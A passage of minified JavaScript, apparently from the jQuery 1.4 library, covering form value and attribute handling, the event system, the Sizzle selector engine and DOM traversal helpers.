d=b.selectedIndex,f=[],e=b.options;b=b.type==="select-one";if(d<0)return null;var i=b?d:0;for(d=b?d+1:e.length;i<d;i++){var j=e[i];if(j.selected){a=c(j).val();if(b)return a;f.push(a)}}return f}if(za.test(b.type)&&!c.support.checkOn)return b.getAttribute("value")===null?"on":b.value;return(b.value||"").replace(Wa,"")}return v}var n=c.isFunction(a);return this.each(function(o){var m=c(this),s=a;if(this.nodeType===1){if(n)s=a.call(this,o,m.val()); -if(typeof s==="number")s+="";if(c.isArray(s)&&za.test(this.type))this.checked=c.inArray(m.val(),s)>=0;else if(c.nodeName(this,"select")){var x=c.makeArray(s);c("option",this).each(function(){this.selected=c.inArray(c(this).val(),x)>=0});if(!x.length)this.selectedIndex=-1}else this.value=s}})}});c.extend({attrFn:{val:true,css:true,html:true,text:true,data:true,width:true,height:true,offset:true},attr:function(a,b,d,f){if(!a||a.nodeType===3||a.nodeType===8)return v;if(f&&b in c.attrFn)return c(a)[b](d); -f=a.nodeType!==1||!c.isXMLDoc(a);var e=d!==v;b=f&&c.props[b]||b;if(a.nodeType===1){var i=Xa.test(b);if(b in a&&f&&!i){if(e){b==="type"&&Ya.test(a.nodeName)&&a.parentNode&&c.error("type property can't be changed");a[b]=d}if(c.nodeName(a,"form")&&a.getAttributeNode(b))return a.getAttributeNode(b).nodeValue;if(b==="tabIndex")return(b=a.getAttributeNode("tabIndex"))&&b.specified?b.value:Za.test(a.nodeName)||$a.test(a.nodeName)&&a.href?0:v;return a[b]}if(!c.support.style&&f&&b==="style"){if(e)a.style.cssText= -""+d;return a.style.cssText}e&&a.setAttribute(b,""+d);a=!c.support.hrefNormalized&&f&&i?a.getAttribute(b,2):a.getAttribute(b);return a===null?v:a}return c.style(a,b,d)}});var ab=function(a){return a.replace(/[^\w\s\.\|`]/g,function(b){return"\\"+b})};c.event={add:function(a,b,d,f){if(!(a.nodeType===3||a.nodeType===8)){if(a.setInterval&&a!==z&&!a.frameElement)a=z;if(!d.guid)d.guid=c.guid++;if(f!==v){d=c.proxy(d);d.data=f}var e=c.data(a,"events")||c.data(a,"events",{}),i=c.data(a,"handle"),j;if(!i){j= -function(){return typeof c!=="undefined"&&!c.event.triggered?c.event.handle.apply(j.elem,arguments):v};i=c.data(a,"handle",j)}if(i){i.elem=a;b=b.split(/\s+/);for(var n,o=0;n=b[o++];){var m=n.split(".");n=m.shift();if(o>1){d=c.proxy(d);if(f!==v)d.data=f}d.type=m.slice(0).sort().join(".");var s=e[n],x=this.special[n]||{};if(!s){s=e[n]={};if(!x.setup||x.setup.call(a,f,m,d)===false)if(a.addEventListener)a.addEventListener(n,i,false);else a.attachEvent&&a.attachEvent("on"+n,i)}if(x.add)if((m=x.add.call(a, -d,f,m,s))&&c.isFunction(m)){m.guid=m.guid||d.guid;m.data=m.data||d.data;m.type=m.type||d.type;d=m}s[d.guid]=d;this.global[n]=true}a=null}}},global:{},remove:function(a,b,d){if(!(a.nodeType===3||a.nodeType===8)){var f=c.data(a,"events"),e,i,j;if(f){if(b===v||typeof b==="string"&&b.charAt(0)===".")for(i in f)this.remove(a,i+(b||""));else{if(b.type){d=b.handler;b=b.type}b=b.split(/\s+/);for(var n=0;i=b[n++];){var o=i.split(".");i=o.shift();var m=!o.length,s=c.map(o.slice(0).sort(),ab);s=new RegExp("(^|\\.)"+ -s.join("\\.(?:.*\\.)?")+"(\\.|$)");var x=this.special[i]||{};if(f[i]){if(d){j=f[i][d.guid];delete f[i][d.guid]}else for(var A in f[i])if(m||s.test(f[i][A].type))delete f[i][A];x.remove&&x.remove.call(a,o,j);for(e in f[i])break;if(!e){if(!x.teardown||x.teardown.call(a,o)===false)if(a.removeEventListener)a.removeEventListener(i,c.data(a,"handle"),false);else a.detachEvent&&a.detachEvent("on"+i,c.data(a,"handle"));e=null;delete f[i]}}}}for(e in f)break;if(!e){if(A=c.data(a,"handle"))A.elem=null;c.removeData(a, -"events");c.removeData(a,"handle")}}}},trigger:function(a,b,d,f){var e=a.type||a;if(!f){a=typeof a==="object"?a[G]?a:c.extend(c.Event(e),a):c.Event(e);if(e.indexOf("!")>=0){a.type=e=e.slice(0,-1);a.exclusive=true}if(!d){a.stopPropagation();this.global[e]&&c.each(c.cache,function(){this.events&&this.events[e]&&c.event.trigger(a,b,this.handle.elem)})}if(!d||d.nodeType===3||d.nodeType===8)return v;a.result=v;a.target=d;b=c.makeArray(b);b.unshift(a)}a.currentTarget=d;(f=c.data(d,"handle"))&&f.apply(d, -b);f=d.parentNode||d.ownerDocument;try{if(!(d&&d.nodeName&&c.noData[d.nodeName.toLowerCase()]))if(d["on"+e]&&d["on"+e].apply(d,b)===false)a.result=false}catch(i){}if(!a.isPropagationStopped()&&f)c.event.trigger(a,b,f,true);else if(!a.isDefaultPrevented()){d=a.target;var j;if(!(c.nodeName(d,"a")&&e==="click")&&!(d&&d.nodeName&&c.noData[d.nodeName.toLowerCase()])){try{if(d[e]){if(j=d["on"+e])d["on"+e]=null;this.triggered=true;d[e]()}}catch(n){}if(j)d["on"+e]=j;this.triggered=false}}},handle:function(a){var b, -d;a=arguments[0]=c.event.fix(a||z.event);a.currentTarget=this;d=a.type.split(".");a.type=d.shift();b=!d.length&&!a.exclusive;var f=new RegExp("(^|\\.)"+d.slice(0).sort().join("\\.(?:.*\\.)?")+"(\\.|$)");d=(c.data(this,"events")||{})[a.type];for(var e in d){var i=d[e];if(b||f.test(i.type)){a.handler=i;a.data=i.data;i=i.apply(this,arguments);if(i!==v){a.result=i;if(i===false){a.preventDefault();a.stopPropagation()}}if(a.isImmediatePropagationStopped())break}}return a.result},props:"altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode layerX layerY metaKey newValue offsetX offsetY originalTarget pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which".split(" "), -fix:function(a){if(a[G])return a;var b=a;a=c.Event(b);for(var d=this.props.length,f;d;){f=this.props[--d];a[f]=b[f]}if(!a.target)a.target=a.srcElement||r;if(a.target.nodeType===3)a.target=a.target.parentNode;if(!a.relatedTarget&&a.fromElement)a.relatedTarget=a.fromElement===a.target?a.toElement:a.fromElement;if(a.pageX==null&&a.clientX!=null){b=r.documentElement;d=r.body;a.pageX=a.clientX+(b&&b.scrollLeft||d&&d.scrollLeft||0)-(b&&b.clientLeft||d&&d.clientLeft||0);a.pageY=a.clientY+(b&&b.scrollTop|| -d&&d.scrollTop||0)-(b&&b.clientTop||d&&d.clientTop||0)}if(!a.which&&(a.charCode||a.charCode===0?a.charCode:a.keyCode))a.which=a.charCode||a.keyCode;if(!a.metaKey&&a.ctrlKey)a.metaKey=a.ctrlKey;if(!a.which&&a.button!==v)a.which=a.button&1?1:a.button&2?3:a.button&4?2:0;return a},guid:1E8,proxy:c.proxy,special:{ready:{setup:c.bindReady,teardown:c.noop},live:{add:function(a,b){c.extend(a,b||{});a.guid+=b.selector+b.live;b.liveProxy=a;c.event.add(this,b.live,na,b)},remove:function(a){if(a.length){var b= -0,d=new RegExp("(^|\\.)"+a[0]+"(\\.|$)");c.each(c.data(this,"events").live||{},function(){d.test(this.type)&&b++});b<1&&c.event.remove(this,a[0],na)}},special:{}},beforeunload:{setup:function(a,b,d){if(this.setInterval)this.onbeforeunload=d;return false},teardown:function(a,b){if(this.onbeforeunload===b)this.onbeforeunload=null}}}};c.Event=function(a){if(!this.preventDefault)return new c.Event(a);if(a&&a.type){this.originalEvent=a;this.type=a.type}else this.type=a;this.timeStamp=J();this[G]=true}; -c.Event.prototype={preventDefault:function(){this.isDefaultPrevented=Z;var a=this.originalEvent;if(a){a.preventDefault&&a.preventDefault();a.returnValue=false}},stopPropagation:function(){this.isPropagationStopped=Z;var a=this.originalEvent;if(a){a.stopPropagation&&a.stopPropagation();a.cancelBubble=true}},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=Z;this.stopPropagation()},isDefaultPrevented:Y,isPropagationStopped:Y,isImmediatePropagationStopped:Y};var Aa=function(a){for(var b= -a.relatedTarget;b&&b!==this;)try{b=b.parentNode}catch(d){break}if(b!==this){a.type=a.data;c.event.handle.apply(this,arguments)}},Ba=function(a){a.type=a.data;c.event.handle.apply(this,arguments)};c.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(a,b){c.event.special[a]={setup:function(d){c.event.add(this,b,d&&d.selector?Ba:Aa,a)},teardown:function(d){c.event.remove(this,b,d&&d.selector?Ba:Aa)}}});if(!c.support.submitBubbles)c.event.special.submit={setup:function(a,b,d){if(this.nodeName.toLowerCase()!== -"form"){c.event.add(this,"click.specialSubmit."+d.guid,function(f){var e=f.target,i=e.type;if((i==="submit"||i==="image")&&c(e).closest("form").length)return ma("submit",this,arguments)});c.event.add(this,"keypress.specialSubmit."+d.guid,function(f){var e=f.target,i=e.type;if((i==="text"||i==="password")&&c(e).closest("form").length&&f.keyCode===13)return ma("submit",this,arguments)})}else return false},remove:function(a,b){c.event.remove(this,"click.specialSubmit"+(b?"."+b.guid:""));c.event.remove(this, -"keypress.specialSubmit"+(b?"."+b.guid:""))}};if(!c.support.changeBubbles){var da=/textarea|input|select/i;function Ca(a){var b=a.type,d=a.value;if(b==="radio"||b==="checkbox")d=a.checked;else if(b==="select-multiple")d=a.selectedIndex>-1?c.map(a.options,function(f){return f.selected}).join("-"):"";else if(a.nodeName.toLowerCase()==="select")d=a.selectedIndex;return d}function ea(a,b){var d=a.target,f,e;if(!(!da.test(d.nodeName)||d.readOnly)){f=c.data(d,"_change_data");e=Ca(d);if(a.type!=="focusout"|| -d.type!=="radio")c.data(d,"_change_data",e);if(!(f===v||e===f))if(f!=null||e){a.type="change";return c.event.trigger(a,b,d)}}}c.event.special.change={filters:{focusout:ea,click:function(a){var b=a.target,d=b.type;if(d==="radio"||d==="checkbox"||b.nodeName.toLowerCase()==="select")return ea.call(this,a)},keydown:function(a){var b=a.target,d=b.type;if(a.keyCode===13&&b.nodeName.toLowerCase()!=="textarea"||a.keyCode===32&&(d==="checkbox"||d==="radio")||d==="select-multiple")return ea.call(this,a)},beforeactivate:function(a){a= -a.target;a.nodeName.toLowerCase()==="input"&&a.type==="radio"&&c.data(a,"_change_data",Ca(a))}},setup:function(a,b,d){for(var f in T)c.event.add(this,f+".specialChange."+d.guid,T[f]);return da.test(this.nodeName)},remove:function(a,b){for(var d in T)c.event.remove(this,d+".specialChange"+(b?"."+b.guid:""),T[d]);return da.test(this.nodeName)}};var T=c.event.special.change.filters}r.addEventListener&&c.each({focus:"focusin",blur:"focusout"},function(a,b){function d(f){f=c.event.fix(f);f.type=b;return c.event.handle.call(this, -f)}c.event.special[b]={setup:function(){this.addEventListener(a,d,true)},teardown:function(){this.removeEventListener(a,d,true)}}});c.each(["bind","one"],function(a,b){c.fn[b]=function(d,f,e){if(typeof d==="object"){for(var i in d)this[b](i,f,d[i],e);return this}if(c.isFunction(f)){e=f;f=v}var j=b==="one"?c.proxy(e,function(n){c(this).unbind(n,j);return e.apply(this,arguments)}):e;return d==="unload"&&b!=="one"?this.one(d,f,e):this.each(function(){c.event.add(this,d,j,f)})}});c.fn.extend({unbind:function(a, -b){if(typeof a==="object"&&!a.preventDefault){for(var d in a)this.unbind(d,a[d]);return this}return this.each(function(){c.event.remove(this,a,b)})},trigger:function(a,b){return this.each(function(){c.event.trigger(a,b,this)})},triggerHandler:function(a,b){if(this[0]){a=c.Event(a);a.preventDefault();a.stopPropagation();c.event.trigger(a,b,this[0]);return a.result}},toggle:function(a){for(var b=arguments,d=1;d<b.length;)c.proxy(a,b[d++]);return this.click(c.proxy(a,function(f){var e=(c.data(this,"lastToggle"+ -a.guid)||0)%d;c.data(this,"lastToggle"+a.guid,e+1);f.preventDefault();return b[e].apply(this,arguments)||false}))},hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}});c.each(["live","die"],function(a,b){c.fn[b]=function(d,f,e){var i,j=0;if(c.isFunction(f)){e=f;f=v}for(d=(d||"").split(/\s+/);(i=d[j++])!=null;){i=i==="focus"?"focusin":i==="blur"?"focusout":i==="hover"?d.push("mouseleave")&&"mouseenter":i;b==="live"?c(this.context).bind(oa(i,this.selector),{data:f,selector:this.selector, -live:i},e):c(this.context).unbind(oa(i,this.selector),e?{guid:e.guid+this.selector+i}:null)}return this}});c.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error".split(" "),function(a,b){c.fn[b]=function(d){return d?this.bind(b,d):this.trigger(b)};if(c.attrFn)c.attrFn[b]=true});z.attachEvent&&!z.addEventListener&&z.attachEvent("onunload",function(){for(var a in c.cache)if(c.cache[a].handle)try{c.event.remove(c.cache[a].handle.elem)}catch(b){}}); -(function(){function a(g){for(var h="",k,l=0;g[l];l++){k=g[l];if(k.nodeType===3||k.nodeType===4)h+=k.nodeValue;else if(k.nodeType!==8)h+=a(k.childNodes)}return h}function b(g,h,k,l,q,p){q=0;for(var u=l.length;q<u;q++){var t=l[q];if(t){t=t[g];for(var y=false;t;){if(t.sizcache===k){y=l[t.sizset];break}if(t.nodeType===1&&!p){t.sizcache=k;t.sizset=q}if(t.nodeName.toLowerCase()===h){y=t;break}t=t[g]}l[q]=y}}}function d(g,h,k,l,q,p){q=0;for(var u=l.length;q<u;q++){var t=l[q];if(t){t=t[g];for(var y=false;t;){if(t.sizcache=== -k){y=l[t.sizset];break}if(t.nodeType===1){if(!p){t.sizcache=k;t.sizset=q}if(typeof h!=="string"){if(t===h){y=true;break}}else if(o.filter(h,[t]).length>0){y=t;break}}t=t[g]}l[q]=y}}}var f=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,e=0,i=Object.prototype.toString,j=false,n=true;[0,0].sort(function(){n=false;return 0});var o=function(g,h,k,l){k=k||[];var q=h=h||r;if(h.nodeType!==1&&h.nodeType!==9)return[];if(!g|| -typeof g!=="string")return k;for(var p=[],u,t,y,R,H=true,M=w(h),I=g;(f.exec(""),u=f.exec(I))!==null;){I=u[3];p.push(u[1]);if(u[2]){R=u[3];break}}if(p.length>1&&s.exec(g))if(p.length===2&&m.relative[p[0]])t=fa(p[0]+p[1],h);else for(t=m.relative[p[0]]?[h]:o(p.shift(),h);p.length;){g=p.shift();if(m.relative[g])g+=p.shift();t=fa(g,t)}else{if(!l&&p.length>1&&h.nodeType===9&&!M&&m.match.ID.test(p[0])&&!m.match.ID.test(p[p.length-1])){u=o.find(p.shift(),h,M);h=u.expr?o.filter(u.expr,u.set)[0]:u.set[0]}if(h){u= -l?{expr:p.pop(),set:A(l)}:o.find(p.pop(),p.length===1&&(p[0]==="~"||p[0]==="+")&&h.parentNode?h.parentNode:h,M);t=u.expr?o.filter(u.expr,u.set):u.set;if(p.length>0)y=A(t);else H=false;for(;p.length;){var D=p.pop();u=D;if(m.relative[D])u=p.pop();else D="";if(u==null)u=h;m.relative[D](y,u,M)}}else y=[]}y||(y=t);y||o.error(D||g);if(i.call(y)==="[object Array]")if(H)if(h&&h.nodeType===1)for(g=0;y[g]!=null;g++){if(y[g]&&(y[g]===true||y[g].nodeType===1&&E(h,y[g])))k.push(t[g])}else for(g=0;y[g]!=null;g++)y[g]&& -y[g].nodeType===1&&k.push(t[g]);else k.push.apply(k,y);else A(y,k);if(R){o(R,q,k,l);o.uniqueSort(k)}return k};o.uniqueSort=function(g){if(C){j=n;g.sort(C);if(j)for(var h=1;h<g.length;h++)g[h]===g[h-1]&&g.splice(h--,1)}return g};o.matches=function(g,h){return o(g,null,null,h)};o.find=function(g,h,k){var l,q;if(!g)return[];for(var p=0,u=m.order.length;p<u;p++){var t=m.order[p];if(q=m.leftMatch[t].exec(g)){var y=q[1];q.splice(1,1);if(y.substr(y.length-1)!=="\\"){q[1]=(q[1]||"").replace(/\\/g,"");l=m.find[t](q, -h,k);if(l!=null){g=g.replace(m.match[t],"");break}}}}l||(l=h.getElementsByTagName("*"));return{set:l,expr:g}};o.filter=function(g,h,k,l){for(var q=g,p=[],u=h,t,y,R=h&&h[0]&&w(h[0]);g&&h.length;){for(var H in m.filter)if((t=m.leftMatch[H].exec(g))!=null&&t[2]){var M=m.filter[H],I,D;D=t[1];y=false;t.splice(1,1);if(D.substr(D.length-1)!=="\\"){if(u===p)p=[];if(m.preFilter[H])if(t=m.preFilter[H](t,u,k,p,l,R)){if(t===true)continue}else y=I=true;if(t)for(var U=0;(D=u[U])!=null;U++)if(D){I=M(D,t,U,u);var Da= -l^!!I;if(k&&I!=null)if(Da)y=true;else u[U]=false;else if(Da){p.push(D);y=true}}if(I!==v){k||(u=p);g=g.replace(m.match[H],"");if(!y)return[];break}}}if(g===q)if(y==null)o.error(g);else break;q=g}return u};o.error=function(g){throw"Syntax error, unrecognized expression: "+g;};var m=o.selectors={order:["ID","NAME","TAG"],match:{ID:/#((?:[\w\u00c0-\uFFFF-]|\\.)+)/,CLASS:/\.((?:[\w\u00c0-\uFFFF-]|\\.)+)/,NAME:/\[name=['"]*((?:[\w\u00c0-\uFFFF-]|\\.)+)['"]*\]/,ATTR:/\[\s*((?:[\w\u00c0-\uFFFF-]|\\.)+)\s*(?:(\S?=)\s*(['"]*)(.*?)\3|)\s*\]/, -TAG:/^((?:[\w\u00c0-\uFFFF\*-]|\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\((even|odd|[\dn+-]*)\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^-]|$)/,PSEUDO:/:((?:[\w\u00c0-\uFFFF-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/},leftMatch:{},attrMap:{"class":"className","for":"htmlFor"},attrHandle:{href:function(g){return g.getAttribute("href")}},relative:{"+":function(g,h){var k=typeof h==="string",l=k&&!/\W/.test(h);k=k&&!l;if(l)h=h.toLowerCase();l=0;for(var q=g.length, -p;l<q;l++)if(p=g[l]){for(;(p=p.previousSibling)&&p.nodeType!==1;);g[l]=k||p&&p.nodeName.toLowerCase()===h?p||false:p===h}k&&o.filter(h,g,true)},">":function(g,h){var k=typeof h==="string";if(k&&!/\W/.test(h)){h=h.toLowerCase();for(var l=0,q=g.length;l<q;l++){var p=g[l];if(p){k=p.parentNode;g[l]=k.nodeName.toLowerCase()===h?k:false}}}else{l=0;for(q=g.length;l<q;l++)if(p=g[l])g[l]=k?p.parentNode:p.parentNode===h;k&&o.filter(h,g,true)}},"":function(g,h,k){var l=e++,q=d;if(typeof h==="string"&&!/\W/.test(h)){var p= -h=h.toLowerCase();q=b}q("parentNode",h,l,g,p,k)},"~":function(g,h,k){var l=e++,q=d;if(typeof h==="string"&&!/\W/.test(h)){var p=h=h.toLowerCase();q=b}q("previousSibling",h,l,g,p,k)}},find:{ID:function(g,h,k){if(typeof h.getElementById!=="undefined"&&!k)return(g=h.getElementById(g[1]))?[g]:[]},NAME:function(g,h){if(typeof h.getElementsByName!=="undefined"){var k=[];h=h.getElementsByName(g[1]);for(var l=0,q=h.length;l<q;l++)h[l].getAttribute("name")===g[1]&&k.push(h[l]);return k.length===0?null:k}}, -TAG:function(g,h){return h.getElementsByTagName(g[1])}},preFilter:{CLASS:function(g,h,k,l,q,p){g=" "+g[1].replace(/\\/g,"")+" ";if(p)return g;p=0;for(var u;(u=h[p])!=null;p++)if(u)if(q^(u.className&&(" "+u.className+" ").replace(/[\t\n]/g," ").indexOf(g)>=0))k||l.push(u);else if(k)h[p]=false;return false},ID:function(g){return g[1].replace(/\\/g,"")},TAG:function(g){return g[1].toLowerCase()},CHILD:function(g){if(g[1]==="nth"){var h=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(g[2]==="even"&&"2n"||g[2]==="odd"&& -"2n+1"||!/\D/.test(g[2])&&"0n+"+g[2]||g[2]);g[2]=h[1]+(h[2]||1)-0;g[3]=h[3]-0}g[0]=e++;return g},ATTR:function(g,h,k,l,q,p){h=g[1].replace(/\\/g,"");if(!p&&m.attrMap[h])g[1]=m.attrMap[h];if(g[2]==="~=")g[4]=" "+g[4]+" ";return g},PSEUDO:function(g,h,k,l,q){if(g[1]==="not")if((f.exec(g[3])||"").length>1||/^\w/.test(g[3]))g[3]=o(g[3],null,null,h);else{g=o.filter(g[3],h,k,true^q);k||l.push.apply(l,g);return false}else if(m.match.POS.test(g[0])||m.match.CHILD.test(g[0]))return true;return g},POS:function(g){g.unshift(true); -return g}},filters:{enabled:function(g){return g.disabled===false&&g.type!=="hidden"},disabled:function(g){return g.disabled===true},checked:function(g){return g.checked===true},selected:function(g){return g.selected===true},parent:function(g){return!!g.firstChild},empty:function(g){return!g.firstChild},has:function(g,h,k){return!!o(k[3],g).length},header:function(g){return/h\d/i.test(g.nodeName)},text:function(g){return"text"===g.type},radio:function(g){return"radio"===g.type},checkbox:function(g){return"checkbox"=== -g.type},file:function(g){return"file"===g.type},password:function(g){return"password"===g.type},submit:function(g){return"submit"===g.type},image:function(g){return"image"===g.type},reset:function(g){return"reset"===g.type},button:function(g){return"button"===g.type||g.nodeName.toLowerCase()==="button"},input:function(g){return/input|select|textarea|button/i.test(g.nodeName)}},setFilters:{first:function(g,h){return h===0},last:function(g,h,k,l){return h===l.length-1},even:function(g,h){return h%2=== -0},odd:function(g,h){return h%2===1},lt:function(g,h,k){return h<k[3]-0},gt:function(g,h,k){return h>k[3]-0},nth:function(g,h,k){return k[3]-0===h},eq:function(g,h,k){return k[3]-0===h}},filter:{PSEUDO:function(g,h,k,l){var q=h[1],p=m.filters[q];if(p)return p(g,k,h,l);else if(q==="contains")return(g.textContent||g.innerText||a([g])||"").indexOf(h[3])>=0;else if(q==="not"){h=h[3];k=0;for(l=h.length;k<l;k++)if(h[k]===g)return false;return true}else o.error("Syntax error, unrecognized expression: "+ -q)},CHILD:function(g,h){var k=h[1],l=g;switch(k){case "only":case "first":for(;l=l.previousSibling;)if(l.nodeType===1)return false;if(k==="first")return true;l=g;case "last":for(;l=l.nextSibling;)if(l.nodeType===1)return false;return true;case "nth":k=h[2];var q=h[3];if(k===1&&q===0)return true;h=h[0];var p=g.parentNode;if(p&&(p.sizcache!==h||!g.nodeIndex)){var u=0;for(l=p.firstChild;l;l=l.nextSibling)if(l.nodeType===1)l.nodeIndex=++u;p.sizcache=h}g=g.nodeIndex-q;return k===0?g===0:g%k===0&&g/k>= -0}},ID:function(g,h){return g.nodeType===1&&g.getAttribute("id")===h},TAG:function(g,h){return h==="*"&&g.nodeType===1||g.nodeName.toLowerCase()===h},CLASS:function(g,h){return(" "+(g.className||g.getAttribute("class"))+" ").indexOf(h)>-1},ATTR:function(g,h){var k=h[1];g=m.attrHandle[k]?m.attrHandle[k](g):g[k]!=null?g[k]:g.getAttribute(k);k=g+"";var l=h[2];h=h[4];return g==null?l==="!=":l==="="?k===h:l==="*="?k.indexOf(h)>=0:l==="~="?(" "+k+" ").indexOf(h)>=0:!h?k&&g!==false:l==="!="?k!==h:l==="^="? -k.indexOf(h)===0:l==="$="?k.substr(k.length-h.length)===h:l==="|="?k===h||k.substr(0,h.length+1)===h+"-":false},POS:function(g,h,k,l){var q=m.setFilters[h[2]];if(q)return q(g,k,h,l)}}},s=m.match.POS;for(var x in m.match){m.match[x]=new RegExp(m.match[x].source+/(?![^\[]*\])(?![^\(]*\))/.source);m.leftMatch[x]=new RegExp(/(^(?:.|\r|\n)*?)/.source+m.match[x].source.replace(/\\(\d+)/g,function(g,h){return"\\"+(h-0+1)}))}var A=function(g,h){g=Array.prototype.slice.call(g,0);if(h){h.push.apply(h,g);return h}return g}; -try{Array.prototype.slice.call(r.documentElement.childNodes,0)}catch(B){A=function(g,h){h=h||[];if(i.call(g)==="[object Array]")Array.prototype.push.apply(h,g);else if(typeof g.length==="number")for(var k=0,l=g.length;k<l;k++)h.push(g[k]);else for(k=0;g[k];k++)h.push(g[k]);return h}}var C;if(r.documentElement.compareDocumentPosition)C=function(g,h){if(!g.compareDocumentPosition||!h.compareDocumentPosition){if(g==h)j=true;return g.compareDocumentPosition?-1:1}g=g.compareDocumentPosition(h)&4?-1:g=== -h?0:1;if(g===0)j=true;return g};else if("sourceIndex"in r.documentElement)C=function(g,h){if(!g.sourceIndex||!h.sourceIndex){if(g==h)j=true;return g.sourceIndex?-1:1}g=g.sourceIndex-h.sourceIndex;if(g===0)j=true;return g};else if(r.createRange)C=function(g,h){if(!g.ownerDocument||!h.ownerDocument){if(g==h)j=true;return g.ownerDocument?-1:1}var k=g.ownerDocument.createRange(),l=h.ownerDocument.createRange();k.setStart(g,0);k.setEnd(g,0);l.setStart(h,0);l.setEnd(h,0);g=k.compareBoundaryPoints(Range.START_TO_END, -l);if(g===0)j=true;return g};(function(){var g=r.createElement("div"),h="script"+(new Date).getTime();g.innerHTML="<a name='"+h+"'/>";var k=r.documentElement;k.insertBefore(g,k.firstChild);if(r.getElementById(h)){m.find.ID=function(l,q,p){if(typeof q.getElementById!=="undefined"&&!p)return(q=q.getElementById(l[1]))?q.id===l[1]||typeof q.getAttributeNode!=="undefined"&&q.getAttributeNode("id").nodeValue===l[1]?[q]:v:[]};m.filter.ID=function(l,q){var p=typeof l.getAttributeNode!=="undefined"&&l.getAttributeNode("id"); -return l.nodeType===1&&p&&p.nodeValue===q}}k.removeChild(g);k=g=null})();(function(){var g=r.createElement("div");g.appendChild(r.createComment(""));if(g.getElementsByTagName("*").length>0)m.find.TAG=function(h,k){k=k.getElementsByTagName(h[1]);if(h[1]==="*"){h=[];for(var l=0;k[l];l++)k[l].nodeType===1&&h.push(k[l]);k=h}return k};g.innerHTML="<a href='#'></a>";if(g.firstChild&&typeof g.firstChild.getAttribute!=="undefined"&&g.firstChild.getAttribute("href")!=="#")m.attrHandle.href=function(h){return h.getAttribute("href", -2)};g=null})();r.querySelectorAll&&function(){var g=o,h=r.createElement("div");h.innerHTML="<p class='TEST'></p>";if(!(h.querySelectorAll&&h.querySelectorAll(".TEST").length===0)){o=function(l,q,p,u){q=q||r;if(!u&&q.nodeType===9&&!w(q))try{return A(q.querySelectorAll(l),p)}catch(t){}return g(l,q,p,u)};for(var k in g)o[k]=g[k];h=null}}();(function(){var g=r.createElement("div");g.innerHTML="<div class='test e'></div><div class='test'></div>";if(!(!g.getElementsByClassName||g.getElementsByClassName("e").length=== -0)){g.lastChild.className="e";if(g.getElementsByClassName("e").length!==1){m.order.splice(1,0,"CLASS");m.find.CLASS=function(h,k,l){if(typeof k.getElementsByClassName!=="undefined"&&!l)return k.getElementsByClassName(h[1])};g=null}}})();var E=r.compareDocumentPosition?function(g,h){return g.compareDocumentPosition(h)&16}:function(g,h){return g!==h&&(g.contains?g.contains(h):true)},w=function(g){return(g=(g?g.ownerDocument||g:0).documentElement)?g.nodeName!=="HTML":false},fa=function(g,h){var k=[], -l="",q;for(h=h.nodeType?[h]:h;q=m.match.PSEUDO.exec(g);){l+=q[0];g=g.replace(m.match.PSEUDO,"")}g=m.relative[g]?g+"*":g;q=0;for(var p=h.length;q<p;q++)o(g,h[q],k);return o.filter(l,k)};c.find=o;c.expr=o.selectors;c.expr[":"]=c.expr.filters;c.unique=o.uniqueSort;c.getText=a;c.isXMLDoc=w;c.contains=E})();var bb=/Until$/,cb=/^(?:parents|prevUntil|prevAll)/,db=/,/;Q=Array.prototype.slice;var Ea=function(a,b,d){if(c.isFunction(b))return c.grep(a,function(e,i){return!!b.call(e,i,e)===d});else if(b.nodeType)return c.grep(a, -function(e){return e===b===d});else if(typeof b==="string"){var f=c.grep(a,function(e){return e.nodeType===1});if(Qa.test(b))return c.filter(b,f,!d);else b=c.filter(b,f)}return c.grep(a,function(e){return c.inArray(e,b)>=0===d})};c.fn.extend({find:function(a){for(var b=this.pushStack("","find",a),d=0,f=0,e=this.length;f<e;f++){d=b.length;c.find(a,this[f],b);if(f>0)for(var i=d;i<b.length;i++)for(var j=0;j<d;j++)if(b[j]===b[i]){b.splice(i--,1);break}}return b},has:function(a){var b=c(a);return this.filter(function(){for(var d= -0,f=b.length;d<f;d++)if(c.contains(this,b[d]))return true})},not:function(a){return this.pushStack(Ea(this,a,false),"not",a)},filter:function(a){return this.pushStack(Ea(this,a,true),"filter",a)},is:function(a){return!!a&&c.filter(a,this).length>0},closest:function(a,b){if(c.isArray(a)){var d=[],f=this[0],e,i={},j;if(f&&a.length){e=0;for(var n=a.length;e<n;e++){j=a[e];i[j]||(i[j]=c.expr.match.POS.test(j)?c(j,b||this.context):j)}for(;f&&f.ownerDocument&&f!==b;){for(j in i){e=i[j];if(e.jquery?e.index(f)> --1:c(f).is(e)){d.push({selector:j,elem:f});delete i[j]}}f=f.parentNode}}return d}var o=c.expr.match.POS.test(a)?c(a,b||this.context):null;return this.map(function(m,s){for(;s&&s.ownerDocument&&s!==b;){if(o?o.index(s)>-1:c(s).is(a))return s;s=s.parentNode}return null})},index:function(a){if(!a||typeof a==="string")return c.inArray(this[0],a?c(a):this.parent().children());return c.inArray(a.jquery?a[0]:a,this)},add:function(a,b){a=typeof a==="string"?c(a,b||this.context):c.makeArray(a);b=c.merge(this.get(), -a);return this.pushStack(pa(a[0])||pa(b[0])?b:c.unique(b))},andSelf:function(){return this.add(this.prevObject)}});c.each({parent:function(a){return(a=a.parentNode)&&a.nodeType!==11?a:null},parents:function(a){return c.dir(a,"parentNode")},parentsUntil:function(a,b,d){return c.dir(a,"parentNode",d)},next:function(a){return c.nth(a,2,"nextSibling")},prev:function(a){return c.nth(a,2,"previousSibling")},nextAll:function(a){return c.dir(a,"nextSibling")},prevAll:function(a){return c.dir(a,"previousSibling")}, -nextUntil:function(a,b,d){return 